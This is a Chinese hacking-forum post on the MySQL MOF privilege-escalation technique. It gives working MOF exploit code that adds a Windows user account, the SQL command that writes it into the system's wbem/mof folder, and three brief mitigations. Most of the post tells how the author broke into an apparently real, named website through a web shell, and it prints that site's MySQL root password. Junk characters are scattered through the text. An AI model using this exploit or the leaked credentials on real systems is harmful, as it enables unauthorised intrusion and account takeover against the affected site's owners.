找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2685|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法, {* E" H5 A* w& K7 }( Y5 q; n# }

2 p$ b$ l4 |1 V4 _, [网上公开的一些利用代码:) R, M8 c" P+ c+ J

( p: _8 g( o! d( T#pragma namespace(“\\\\.\\root\\subscription”)! Y+ H8 m% m: g; F3 |9 K; k
4 Z1 p6 Q$ t% ?
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
$ {5 S- s  r, E, q( I: o
3 i3 j5 W8 t3 {- p8 c6 [& ?* T1 R
& W/ o4 T! y0 H. ?! [# {: u' t2 o) J! ]  \
- e( o  f; G+ R8 \' U
) [* T4 [% }) x6 z; r  h/ x; T
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;9 ]* s- Y! I/ N5 W# X1 s, v
从上面代码来看得出解决办法:+ N% z  S8 t7 \3 c  X, h& V  @& Q% p
( m. h8 T0 W; o- \* t; n  e5 Q
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数2 u9 U" g; J% q

  U5 W/ i1 O3 T" }' v! }0 F2、禁止使用”WScript.Shel”组件
) J; ^# o  p9 l; O8 \6 A! |/ Q6 E2 Z
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER) u8 z/ Z* w7 ], M; C0 T8 Q6 g
; G  u% m4 q6 i, m6 j( b$ d
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
3 Z$ `9 [/ R! }5 B
1 _+ E' E* V  w& H; s事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
$ n5 ]" r; W$ e1 ~3 h1 t8 E  S- U0 a+ K" s6 H0 r0 Z0 f
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
9 T" r6 ^' t4 A8 j& W& ?  n) b; J$ w) T* K6 X+ ]( g, w8 \% g, E/ {
看懂了后就开始练手吧! c: N0 O4 T3 W3 v! h

% o* K$ J3 C; J; qhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
9 E! a2 w+ p# S' k' s9 y% Q- ~" X6 q$ K8 C0 E& @; Z
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
+ m* z4 [! y  d9 K6 a& H' `( F: Y4 \+ \: j% @8 G4 Q3 d5 t
于是直接用菜刀开搞
  b9 P5 C7 L7 ]3 }3 R$ A+ T8 q0 k- o) m( s. d  }  d8 l
上马先5 a. m3 g/ E  v9 Y: W

6 \0 Z% k2 a. D( u/ y既然有了那些账号 之类的 于是我们就执行吧…….
4 g( ^1 I: t/ c7 L6 |2 Z( p  n2 j" l9 R8 z" M  p/ W
小小的说下' s8 `% g* Y# Z+ a& U( ]/ p

& Z: _' v% o+ _7 _& L3 b2 o在这里第1次执行未成功        原因未知( f3 R3 P+ e) p: _/ [- Q0 G
0 J: F! O) K3 q1 r. ^
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。3 [  [. h9 L/ w- v6 B) r

& L# t1 ]1 T  k: w#pragma namespace(“\\\\.\\root\\subscription”)6 Y3 y6 o; U0 k9 {

/ b0 N7 \3 _/ [9 j) v$ ?1 Uinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
* q  @8 @; `! X
8 V( }5 Z- c& J, f我是将文件放到C:\WINDOWS\temp\1.mof
' m+ ^- D0 ]/ S! J; ~3 |; ?; _
& z# u% ]1 `6 v4 H! v, t所以我们就改下执行的代码
' d9 {6 x/ S: s$ e2 G) P2 u0 N& w( O6 q
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;6 ?3 z5 X$ O$ p6 r

+ _. w& R4 w  f, E' Y% }/ a  B  O9 a
6 E) a! x6 w, A9 H- z/ c/ t$ |
: ~, V; @# o7 D0 q$ @/ {1 W! h但是 你会发现账号还是没有躺在那里。。
# W0 Z2 N& l7 D: [
! Z0 }: b  k+ X9 X# v于是我就感觉蛋疼1 ?5 k  e4 y2 I# J4 S

; Z  t/ k) ]! E' M" z就去一个一个去执行 但是执行到第2个 mysql时就成功了………% m/ Q: O8 o5 `

+ _( D/ J2 A  m7 V: J8 ]0 f3 _; X/ Z/ H1 n
2 A+ _7 Z8 l) H4 T1 H4 P+ j+ d0 u
但是其他库均不成功…( b$ k5 O3 I4 V$ k3 T; S

+ g' G# f2 Z2 F7 }  t( @) u我就很费解呀 到底为什么不成功求大牛解答…: l0 X9 F# ~0 l' `

+ t  r7 \  Y& t! W7 L  j9 I
8 N; y# m! L. f% n4 ^# I/ z1 t0 T( }" e/ N; ~0 I/ d4 A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表